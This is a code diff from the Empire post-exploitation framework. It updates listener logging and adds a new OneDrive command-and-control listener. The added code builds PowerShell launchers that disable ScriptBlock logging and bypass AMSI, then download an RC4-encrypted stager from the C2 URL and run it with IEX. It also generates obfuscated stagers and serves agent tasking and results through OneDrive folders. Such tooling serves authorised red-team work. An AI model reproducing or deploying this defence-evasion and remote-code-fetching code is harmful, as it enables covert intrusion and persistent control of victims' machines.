||||||
# choose a random valid URI for checkin
|
# choose a random valid URI for checkin
|
||||||
$taskURI = $script:TaskURIs | Get-Random
|
$taskURI = $script:TaskURIs | Get-Random
|
||||||
|
@ -562,8 +632,14 @@ class Listener:
|
||||||
Before every request, check if the IP address is allowed.
|
Before every request, check if the IP address is allowed.
|
||||||
"""
|
"""
|
||||||
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
|
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
|
||||||
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http_com")
|
listenerName = self.options['Name']['Value']
|
||||||
return make_response(self.default_response(), 200)
|
message = "[!] {} on the blacklist/not on the whitelist requested resource".format(request.remote_addr)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
|
|
||||||
@app.after_request
|
@app.after_request
|
||||||
|
@ -581,6 +657,24 @@ class Listener:
|
||||||
response.headers['Expires'] = "0"
|
response.headers['Expires'] = "0"
|
||||||
return response
|
return response
|
||||||
|
|
||||||
|
@app.route('/')
|
||||||
|
@app.route('/index.html')
|
||||||
|
def serve_index():
|
||||||
|
"""
|
||||||
|
Return default server web page if user navigates to index.
|
||||||
|
"""
|
||||||
|
|
||||||
|
static_dir = self.mainMenu.installPath + "data/misc/"
|
||||||
|
return make_response(self.index_page(), 200)
|
||||||
|
|
||||||
|
@app.route('/welcome.png')
|
||||||
|
def serve_index_helper():
|
||||||
|
"""
|
||||||
|
Serves image loaded by index page.
|
||||||
|
"""
|
||||||
|
|
||||||
|
static_dir = self.mainMenu.installPath + "data/misc/"
|
||||||
|
return send_from_directory(static_dir, 'welcome.png')
|
||||||
|
|
||||||
@app.route('/<path:request_uri>', methods=['GET'])
|
@app.route('/<path:request_uri>', methods=['GET'])
|
||||||
def handle_get(request_uri):
|
def handle_get(request_uri):
|
||||||
|
@ -590,9 +684,16 @@ class Listener:
|
||||||
This is used during the first step of the staging process,
|
This is used during the first step of the staging process,
|
||||||
and when the agent requests taskings.
|
and when the agent requests taskings.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
clientIP = request.remote_addr
|
clientIP = request.remote_addr
|
||||||
dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http_com')
|
|
||||||
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
|
|
||||||
routingPacket = None
|
routingPacket = None
|
||||||
reqHeader = request.headers.get(listenerOptions['RequestHeader']['Value'])
|
reqHeader = request.headers.get(listenerOptions['RequestHeader']['Value'])
|
||||||
if reqHeader and reqHeader != '':
|
if reqHeader and reqHeader != '':
|
||||||
|
@ -612,33 +713,57 @@ class Listener:
|
||||||
# handle_agent_data() signals that the listener should return the stager.ps1 code
|
# handle_agent_data() signals that the listener should return the stager.ps1 code
|
||||||
|
|
||||||
# step 2 of negotiation -> return stager.ps1 (stage 1)
|
# step 2 of negotiation -> return stager.ps1 (stage 1)
|
||||||
dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http_com')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Sending {} stager (stage 1) to {}".format(language, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
||||||
return make_response(base64.b64encode(stage), 200)
|
return make_response(base64.b64encode(stage), 200)
|
||||||
|
|
||||||
elif results.startswith('ERROR:'):
|
elif results.startswith('ERROR:'):
|
||||||
dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http_com')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
|
|
||||||
if 'not in cache' in results:
|
if 'not in cache' in results:
|
||||||
# signal the client to restage
|
# signal the client to restage
|
||||||
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
|
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
|
||||||
return make_response(self.default_response(), 401)
|
return make_response(self.default_response(), 401)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# actual taskings
|
# actual taskings
|
||||||
dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http_com')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Agent from {} retrieved taskings".format(clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
return make_response(base64.b64encode(results), 200)
|
return make_response(base64.b64encode(results), 200)
|
||||||
else:
|
else:
|
||||||
# dispatcher.send("[!] Results are None...", sender='listeners/http_com')
|
# dispatcher.send("[!] Results are None...", sender='listeners/http_com')
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http_com')
|
listenerName = self.options['Name']['Value']
|
||||||
return make_response(self.default_response(), 200)
|
message = "[!] {} requested by {} with no routing packet.".format(request_uri, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
|
|
||||||
@app.route('/<path:request_uri>', methods=['POST'])
|
@app.route('/<path:request_uri>', methods=['POST'])
|
||||||
|
@ -665,7 +790,14 @@ class Listener:
|
||||||
# TODO: document the exact results structure returned
|
# TODO: document the exact results structure returned
|
||||||
sessionID = results.split(' ')[1].strip()
|
sessionID = results.split(' ')[1].strip()
|
||||||
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
||||||
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http_com')
|
|
||||||
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Sending agent (stage 2) to {} at {}".format(sessionID, clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
|
|
||||||
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
|
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
|
||||||
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
||||||
|
@ -675,17 +807,29 @@ class Listener:
|
||||||
return make_response(base64.b64encode(encrypted_agent), 200)
|
return make_response(base64.b64encode(encrypted_agent), 200)
|
||||||
|
|
||||||
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
|
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
|
||||||
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http_com')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[!] Error returned for results by {} : {}".format(clientIP, results)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 200)
|
||||||
elif results == 'VALID':
|
elif results == 'VALID':
|
||||||
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http_com')
|
listenerName = self.options['Name']['Value']
|
||||||
|
message = "[*] Valid results return by {}".format(clientIP)
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 200)
|
||||||
else:
|
else:
|
||||||
return make_response(base64.b64encode(results), 200)
|
return make_response(base64.b64encode(results), 200)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
else:
|
else:
|
||||||
return make_response(self.default_response(), 200)
|
return make_response(self.default_response(), 404)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
certPath = listenerOptions['CertPath']['Value']
|
certPath = listenerOptions['CertPath']['Value']
|
||||||
|
@ -709,8 +853,14 @@ class Listener:
|
||||||
app.run(host=bindIP, port=int(port), threaded=True)
|
app.run(host=bindIP, port=int(port), threaded=True)
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
|
listenerName = self.options['Name']['Value']
|
||||||
dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http_com')
|
message = "[!] Listener startup on port {} failed: {}".format(port, e)
|
||||||
|
message += "\n[!] Ensure the folder specified in CertPath exists and contains your pem and private key file."
|
||||||
|
signal = json.dumps({
|
||||||
|
'print': True,
|
||||||
|
'message': message
|
||||||
|
})
|
||||||
|
dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
|
||||||
|
|
||||||
|
|
||||||
def start(self, name=''):
|
def start(self, name=''):
|
||||||
|
|
|
@ -395,7 +395,7 @@ class Listener:
|
||||||
""" % (listenerOptions['Host']['Value'])
|
""" % (listenerOptions['Host']['Value'])
|
||||||
|
|
||||||
getTask = """
|
getTask = """
|
||||||
function script:Get-Task {
|
$script:GetTask = {
|
||||||
|
|
||||||
try {
|
try {
|
||||||
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
||||||
|
@ -431,7 +431,7 @@ class Listener:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
sendMessage = """
|
sendMessage = """
|
||||||
function script:Send-Message {
|
$script:SendMessage = {
|
||||||
param($Packets)
|
param($Packets)
|
||||||
|
|
||||||
if($Packets) {
|
if($Packets) {
|
||||||
|
|
|
@ -363,7 +363,7 @@ class Listener:
|
||||||
""" % (listenerOptions['Host']['Value'])
|
""" % (listenerOptions['Host']['Value'])
|
||||||
|
|
||||||
getTask = """
|
getTask = """
|
||||||
function script:Get-Task {
|
$script:GetTask = {
|
||||||
|
|
||||||
try {
|
try {
|
||||||
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
|
||||||
|
@ -399,7 +399,7 @@ class Listener:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
sendMessage = """
|
sendMessage = """
|
||||||
function script:Send-Message {
|
$script:SendMessage = {
|
||||||
param($Packets)
|
param($Packets)
|
||||||
|
|
||||||
if($Packets) {
|
if($Packets) {
|
||||||
|
|
|
@ -392,7 +392,7 @@ class Listener:
|
||||||
""" % (listenerOptions['Host']['Value'])
|
""" % (listenerOptions['Host']['Value'])
|
||||||
|
|
||||||
getTask = """
|
getTask = """
|
||||||
function script:Get-Task {
|
$script:GetTask = {
|
||||||
try {
|
try {
|
||||||
# meta 'TASKING_REQUEST' : 4
|
# meta 'TASKING_REQUEST' : 4
|
||||||
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
|
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
|
||||||
|
@ -436,7 +436,7 @@ class Listener:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
sendMessage = """
|
sendMessage = """
|
||||||
function script:Send-Message {
|
$script:SendMessage = {
|
||||||
param($Packets)
|
param($Packets)
|
||||||
|
|
||||||
if($Packets) {
|
if($Packets) {
|
||||||
|
|
|
@ -0,0 +1,844 @@
|
||||||
|
import base64
|
||||||
|
import random
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
from datetime import datetime
|
||||||
|
import copy
|
||||||
|
import traceback
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
from pydispatch import dispatcher
|
||||||
|
from requests import Request, Session
|
||||||
|
|
||||||
|
#Empire imports
|
||||||
|
from lib.common import helpers
|
||||||
|
from lib.common import agents
|
||||||
|
from lib.common import encryption
|
||||||
|
from lib.common import packets
|
||||||
|
from lib.common import messages
|
||||||
|
|
||||||
|
class Listener:
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Onedrive',
|
||||||
|
'Author': ['@mr64bit'],
|
||||||
|
'Description': ('Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9'),
|
||||||
|
'Category': ('third_party'),
|
||||||
|
'Comments': ["Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"]
|
||||||
|
}
|
||||||
|
|
||||||
|
self.options = {
|
||||||
|
'Name' : {
|
||||||
|
'Description' : 'Name for the listener.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'onedrive'
|
||||||
|
},
|
||||||
|
'ClientID' : {
|
||||||
|
'Description' : 'Client ID of the OAuth App.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'AuthCode' : {
|
||||||
|
'Description' : 'Auth code given after authenticating OAuth App.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'BaseFolder' : {
|
||||||
|
'Description' : 'The base Onedrive folder to use for comms.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'empire'
|
||||||
|
},
|
||||||
|
'StagingFolder' : {
|
||||||
|
'Description' : 'The nested Onedrive staging folder.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'staging'
|
||||||
|
},
|
||||||
|
'TaskingsFolder' : {
|
||||||
|
'Description' : 'The nested Onedrive taskings folder.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'taskings'
|
||||||
|
},
|
||||||
|
'ResultsFolder' : {
|
||||||
|
'Description' : 'The nested Onedrive results folder.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'results'
|
||||||
|
},
|
||||||
|
'Launcher' : {
|
||||||
|
'Description' : 'Launcher string.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'powershell -noP -sta -w 1 -enc '
|
||||||
|
},
|
||||||
|
'StagingKey' : {
|
||||||
|
'Description' : 'Staging key for intial agent negotiation.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'asdf'
|
||||||
|
},
|
||||||
|
'PollInterval' : {
|
||||||
|
'Description' : 'Polling interval (in seconds) to communicate with Onedrive.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '5'
|
||||||
|
},
|
||||||
|
'DefaultDelay' : {
|
||||||
|
'Description' : 'Agent delay/reach back interval (in seconds).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 60
|
||||||
|
},
|
||||||
|
'DefaultJitter' : {
|
||||||
|
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 0.0
|
||||||
|
},
|
||||||
|
'DefaultLostLimit' : {
|
||||||
|
'Description' : 'Number of missed checkins before exiting',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 10
|
||||||
|
},
|
||||||
|
'DefaultProfile' : {
|
||||||
|
'Description' : 'Default communication profile for the agent.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)"
|
||||||
|
},
|
||||||
|
'KillDate' : {
|
||||||
|
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'WorkingHours' : {
|
||||||
|
'Description' : 'Hours for the agent to operate (09:00-17:00).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'RefreshToken' : {
|
||||||
|
'Description' : 'Refresh token used to refresh the auth token',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'RedirectURI' : {
|
||||||
|
'Description' : 'Redirect URI of the registered application',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : "https://login.live.com/oauth20_desktop.srf"
|
||||||
|
},
|
||||||
|
'SlackToken' : {
|
||||||
|
'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SlackChannel' : {
|
||||||
|
'Description' : 'The Slack channel or DM that notifications will be sent to.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : '#general'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
self.threads = {}
|
||||||
|
|
||||||
|
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
|
||||||
|
|
||||||
|
def default_response(self):
|
||||||
|
return ''
|
||||||
|
|
||||||
|
def validate_options(self):
|
||||||
|
|
||||||
|
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
||||||
|
|
||||||
|
#If we don't have an OAuth code yet, give the user a URL to get it
|
||||||
|
if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''):
|
||||||
|
if (str(self.options['ClientID']['Value']).strip() == ''):
|
||||||
|
print helpers.color("[!] ClientID needed to generate AuthCode URL!")
|
||||||
|
return False
|
||||||
|
params = {'client_id': str(self.options['ClientID']['Value']).strip(),
|
||||||
|
'response_type': 'code',
|
||||||
|
'redirect_uri': self.options['RedirectURI']['Value'],
|
||||||
|
'scope': 'files.readwrite offline_access'}
|
||||||
|
req = Request('GET','https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params = params)
|
||||||
|
prep = req.prepare()
|
||||||
|
print helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url)
|
||||||
|
return False
|
||||||
|
|
||||||
|
for key in self.options:
|
||||||
|
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
|
||||||
|
print helpers.color("[!] Option \"%s\" is required." % (key))
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
|
||||||
|
if not language:
|
||||||
|
print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified")
|
||||||
|
|
||||||
|
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
|
||||||
|
listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
||||||
|
staging_key = listener_options['StagingKey']['Value']
|
||||||
|
profile = listener_options['DefaultProfile']['Value']
|
||||||
|
launcher_cmd = listener_options['Launcher']['Value']
|
||||||
|
staging_key = listener_options['StagingKey']['Value']
|
||||||
|
poll_interval = listener_options['PollInterval']['Value']
|
||||||
|
base_folder = listener_options['BaseFolder']['Value'].strip("/")
|
||||||
|
staging_folder = listener_options['StagingFolder']['Value']
|
||||||
|
taskings_folder = listener_options['TaskingsFolder']['Value']
|
||||||
|
results_folder = listener_options['ResultsFolder']['Value']
|
||||||
|
|
||||||
|
if language.startswith("power"):
|
||||||
|
launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging
|
||||||
|
|
||||||
|
if safeChecks.lower() == 'true':
|
||||||
|
launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||||
|
|
||||||
|
# ScriptBlock Logging bypass
|
||||||
|
launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
|
||||||
|
launcher += "'System.Management.Automation.Utils'"
|
||||||
|
launcher += helpers.randomize_capitalization(").'GetFie`ld'(")
|
||||||
|
launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||||
|
launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
|
||||||
|
launcher += "['ScriptB'+'lockLogging']"
|
||||||
|
launcher += helpers.randomize_capitalization("){$GPC")
|
||||||
|
launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||||
|
launcher += helpers.randomize_capitalization("$GPC")
|
||||||
|
launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||||
|
launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
|
||||||
|
launcher += "('EnableScriptB'+'lockLogging',0);"
|
||||||
|
launcher += helpers.randomize_capitalization("$val.Add")
|
||||||
|
launcher += "('EnableScriptBlockInvocationLogging',0);"
|
||||||
|
launcher += helpers.randomize_capitalization("$GPC")
|
||||||
|
launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
|
||||||
|
launcher += helpers.randomize_capitalization("=$val}")
|
||||||
|
launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(")
|
||||||
|
launcher += "'signatures','N'+'onPublic,Static'"
|
||||||
|
launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||||
|
|
||||||
|
# @mattifestation's AMSI bypass
|
||||||
|
launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
|
||||||
|
launcher += "'System.Management.Automation.AmsiUtils'"
|
||||||
|
launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
|
||||||
|
launcher += "'amsiInitFailed','NonPublic,Static'"
|
||||||
|
launcher += helpers.randomize_capitalization(").SetValue($null,$true)};")
|
||||||
|
launcher += "};"
|
||||||
|
launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
||||||
|
|
||||||
|
launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;")
|
||||||
|
|
||||||
|
if userAgent.lower() == 'default':
|
||||||
|
profile = listener_options['DefaultProfile']['Value']
|
||||||
|
userAgent = profile.split("|")[1]
|
||||||
|
launcher += "$u='" + userAgent + "';"
|
||||||
|
|
||||||
|
if userAgent.lower() != 'none' or proxy.lower() != 'none':
|
||||||
|
if userAgent.lower() != 'none':
|
||||||
|
launcher += helpers.randomize_capitalization("$wc.Headers.Add(")
|
||||||
|
launcher += "'User-Agent',$u);"
|
||||||
|
|
||||||
|
if proxy.lower() != 'none':
|
||||||
|
if proxy.lower() == 'default':
|
||||||
|
launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
||||||
|
else:
|
||||||
|
launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
|
||||||
|
launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
|
||||||
|
launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
||||||
|
if proxyCreds.lower() == "default":
|
||||||
|
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
||||||
|
else:
|
||||||
|
username = proxyCreds.split(":")[0]
|
||||||
|
password = proxyCreds.split(":")[1]
|
||||||
|
domain = username.split("\\")[0]
|
||||||
|
usr = username.split("\\")[1]
|
||||||
|
launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||||
|
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||||
|
|
||||||
|
launcher += "$Script:Proxy = $wc.Proxy;"
|
||||||
|
|
||||||
|
# code to turn the key string into a byte array
|
||||||
|
launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||||
|
launcher += ("'%s');" % staging_key)
|
||||||
|
|
||||||
|
# this is the minimized RC4 launcher code from rc4.ps1
|
||||||
|
launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
||||||
|
|
||||||
|
launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('")
|
||||||
|
launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url']
|
||||||
|
launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];")
|
||||||
|
|
||||||
|
launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||||
|
|
||||||
|
if obfuscate:
|
||||||
|
launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand)
|
||||||
|
|
||||||
|
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||||
|
return helpers.powershell_launcher(launcher, launcher_cmd)
|
||||||
|
else:
|
||||||
|
return launcher
|
||||||
|
|
||||||
|
if language.startswith("pyth"):
|
||||||
|
print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet")
|
||||||
|
return "python not implimented yet"
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
|
||||||
|
|
||||||
|
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None):
|
||||||
|
"""
|
||||||
|
Generate the stager code
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not language:
|
||||||
|
print helpers.color("[!] listeners/onedrive generate_stager(): no language specified")
|
||||||
|
return None
|
||||||
|
|
||||||
|
staging_key = listenerOptions['StagingKey']['Value']
|
||||||
|
base_folder = listenerOptions['BaseFolder']['Value']
|
||||||
|
staging_folder = listenerOptions['StagingFolder']['Value']
|
||||||
|
working_hours = listenerOptions['WorkingHours']['Value']
|
||||||
|
profile = listenerOptions['DefaultProfile']['Value']
|
||||||
|
agent_delay = listenerOptions['DefaultDelay']['Value']
|
||||||
|
|
||||||
|
if language.lower() == 'powershell':
|
||||||
|
f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
|
||||||
|
stager = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder))
|
||||||
|
stager = stager.replace('REPLACE_STAGING_KEY', staging_key)
|
||||||
|
stager = stager.replace("REPLACE_TOKEN", token)
|
||||||
|
stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))
|
||||||
|
|
||||||
|
if working_hours != "":
|
||||||
|
stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)
|
||||||
|
|
||||||
|
randomized_stager = ''
|
||||||
|
|
||||||
|
for line in stager.split("\n"):
|
||||||
|
line = line.strip()
|
||||||
|
|
||||||
|
if not line.startswith("#"):
|
||||||
|
if "\"" not in line:
|
||||||
|
randomized_stager += helpers.randomize_capitalization(line)
|
||||||
|
else:
|
||||||
|
randomized_stager += line
|
||||||
|
|
||||||
|
if encode:
|
||||||
|
return helpers.enc_powershell(randomized_stager)
|
||||||
|
elif encrypt:
|
||||||
|
RC4IV = os.urandom(4)
|
||||||
|
return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager)
|
||||||
|
else:
|
||||||
|
return randomized_stager
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] Python agent not available for Onedrive")
|
||||||
|
|
||||||
|
def generate_comms(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None):
|
||||||
|
|
||||||
|
staging_key = listener_options['StagingKey']['Value']
|
||||||
|
base_folder = listener_options['BaseFolder']['Value']
|
||||||
|
taskings_folder = listener_options['TaskingsFolder']['Value']
|
||||||
|
results_folder = listener_options['ResultsFolder']['Value']
|
||||||
|
|
||||||
|
if not language:
|
||||||
|
print helpers.color("[!] listeners/onedrive generate_comms(): No language specified")
